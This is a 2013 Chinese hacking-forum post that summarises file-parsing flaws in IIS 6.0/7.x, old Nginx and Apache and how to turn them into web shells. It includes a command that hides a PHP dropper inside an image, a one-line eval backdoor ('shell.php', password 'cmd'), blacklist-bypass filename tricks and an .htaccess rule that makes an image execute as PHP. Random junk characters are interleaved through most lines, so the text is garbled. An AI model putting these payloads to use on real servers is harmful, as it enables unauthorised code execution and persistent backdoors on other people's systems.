找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2903|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain( D9 n7 n: g7 ^6 I7 H! B8 t
[+]IIS6.0) g5 J2 @! N  o+ a) Z! R3 N- S

2 `7 F( T% n7 n/ C目录解析:/xx.asp/xx.jpg , a/ \, L3 J+ r+ ^9 x5 U9 G
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
: W' E7 e1 h' v( e& K# y IIS6.0 会将 xx.jpg 解析为 asp 文件。# @7 h3 M* q4 y7 t2 O: h( l/ _+ H
后缀解析:/xx.asp;.jpg     
3 H" T0 u/ j. ]: H5 k0 t! ?) \) ] IIS6.0 都会把此类后缀文件成功解析为 asp 文件。: \, g# L1 i- h1 v5 q; K. Z
默认解析:/xx.asa3 B# Q: X! V- o% A/ g& y; S! Q
         /xx.cer
: C/ d6 ?6 h. I         /xx.cdx) [: _( w! p) B. U
IIS6.0 默认的可执行文件除了 asp 还包含这三种: z. r/ r: X" \4 W7 i; R$ h
此处可联系利用目录解析漏洞 6 n9 X6 H7 O2 a. s" A/ \0 q
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
3 G6 X3 W' v- K; p8 {[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
5 S0 C) ^* J. T! V) J. x ( F; K0 S# `! o- P; r$ C
IIS 7.0/IIS 7.5/Nginx <0.8.031 y8 a- P5 Y7 M5 H* P
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面* o6 Y* s) r3 H0 G: i( S0 B# m
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。% P* V/ W- H! L) C7 J% Q# y
常用利用方法:' r2 x2 u/ j% C( l. P) _% f% r
将一张图和一个写入后门代码的文本文件合并将恶意文本
; a( J9 f5 [" x* V) i+ Z+ w 写入图片的二进制代码之后,避免破坏图片文件头和尾/ H) r1 z! n! i1 z- t3 X* S- ^1 t
如:$ R4 l/ N8 k: W( X
copy xx.jpg /b + yy.txt/a xy.jpg  i+ J5 W: O: M1 X/ e
#########################################################
9 v1 }. z" ?" |" ^5 u! C  ?: ~ /b 即二进制[binary]模式1 w: `4 ?4 i" g. [$ D' L" L
/a 即ascii模式) v: T3 W. u6 v- |' v7 o' X1 v9 {
xx.jpg 正常图片文件
+ J% V7 }- T  i8 k  Z yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),- q2 a' K# j; b( p) e
'<?php eval($_POST[cmd])?>');?>
/ X; }# @4 I& S) u 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称5 ^2 q9 T( r1 p# B2 y
为shell.php的文件
$ [: r1 V# O' ]5 _, p2 Z' V" ^7 p ###########################################################2 a+ g+ k3 e' E( ?0 T. B% K- t" H
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php . ^* Q( I! b* n4 ?1 r" V6 C# w
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 8 h& N3 Z; J( [; c  G+ }/ U- a# q/ H
密码 cmd6 P" ?9 d, E3 @; V1 v4 d( z
[+]Nginx <0.8.03  Q& z. k8 e% e( C4 k  r
  V* R& k7 S- j/ @/ Y
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞8 I8 i3 b, E( ?4 m; P
在一个文件路径(/xx.jpg)后面加上%00.php
. p3 p3 A' ?2 K/ Y. e 会将 /xx.jpg%00.php 解析为 php 文件。; A& Q! e. a6 p3 p
[+]Apache<0.8.037 G5 Q1 Z  ?, }8 L3 R( E$ |
/ i+ O( a" l' e! ~6 C
后缀解析:test.php.x1.x2.x39 K" C4 W" R. y' g
Apache将从右至左开始判断后缀,若x3非可识别后缀,
; L1 ^( m- J& n; ] 再判断x2,直到找到可识别后缀为止,然后将该可识别
: c# R0 Z' K4 U6 i 后缀进解析test.php.x1.x2.x3 则会被解析为php
8 Q: |8 f. d& K' K$ a9 x 经验之谈:php|php3|phtml 多可被Apache解析。
. R' V' W" h/ x9 K# h9 [! }- n[+]其他一些可利用的; V; K' E% a6 f  V8 n

' r( G6 X8 k0 j1 `+ m: b: ]- G: O在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
8 t2 J3 \/ ]8 g0 U$ p1 G6 S5 w( m5 J* R若这样命名,windows会默认除去空格或点,这也是可以被利用的!; U* U. _* N% M9 V' L9 u4 I
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
/ c1 W& y# y/ G1 d或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可, P. ~2 V: O$ t) o
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
! a0 [, k  {$ X1 D7 z5 a{Linux主机中不行,Linux允许这类文件存在}
  u  i1 Q2 j$ g( ?如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
( I1 L& L" O( z# O4 Z的,当初我并不知道),且可以被上传,那可以尝试在
+ N0 \7 F) B# u( v.htaccess中写入:
/ W, a! ~+ ]0 M6 _) \7 R, g<FilesMatch “shell.jpg”>
4 V/ b6 D/ G  y1 G1 E4 oSetHandler application/x-httpd-php
% r& v/ O% |* I</FilesMatch>
5 z, F7 U2 S( _  ~) \# v, ^. j/ Sshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件' C/ R# ~" K2 K9 p$ B5 @, w& P
[+]错误修改2 d% \" i9 ^$ B* }* ~, v% F' E  K( a/ n

2 m3 c0 y# f% x8 m在 IIS 6.0 下可解析 /xx.asp:.jpg
" T# G0 Z2 X4 F$ b7 w8 p{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
! b& ~+ \. G' r8 w9 r+ f剩下/xx.asp}修改:! [& t4 R1 r6 W3 Z
先谢谢核攻击的提醒
# t3 {8 F7 K" v- v; _( e当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
; t. B8 U- [$ |4 {/ j' A里是没有任何内容的,因为。。不好解释 大家自己看
6 b# N1 R8 l4 o2 }. H1 h* x* ^http://lcx.cc/?i=2448  G  r6 O+ [. c" M/ U
http://baike.baidu.com/view/3619593.htm
" x6 z+ {' [0 d! V​
) u& M0 M+ H9 z$ U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表